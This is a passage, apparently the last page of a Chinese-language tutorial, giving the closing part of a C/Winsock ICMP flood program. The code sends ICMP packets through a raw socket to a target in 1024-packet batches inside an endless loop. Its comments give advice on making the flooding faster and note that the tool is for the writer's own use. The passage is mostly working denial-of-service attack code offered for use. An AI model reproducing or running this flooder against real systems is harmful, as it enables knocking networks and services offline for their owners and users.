| 计算校验和
datasize=sizeof(icmp_header)+PacketSize; //计算整个数据包大小 //开始发送 while(1){ //无限循环,按Ctrl+C跳出 /* 这里的printf实际上是为了延时,Flood程序最好别用这么华丽的界面或字符提示来美化自己,这样会迅速拖慢程序效率!当然,如果能不显示最好,但我去掉printf后,程序死掉了(太快?)如果你觉得“Sending 1024 packets...”还是大大增加了延时,可以改成printf("."); 一个小点。反正是自己用,用得顺手就可以。 */ printf("Sending 1024 packets...\n"); for(counter=0;counter<1024;counter++){ //循环发送1024个数据包为一组 //发送ICMP报文 ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*)&DestAddr,sizeof(DestAddr)); if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError()); } } }
{ if (SockRaw != INVALID_SOCKET) closesocket(SockRaw); WSACleanup(); } return 0; } //代码结束 ========================================================= 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] |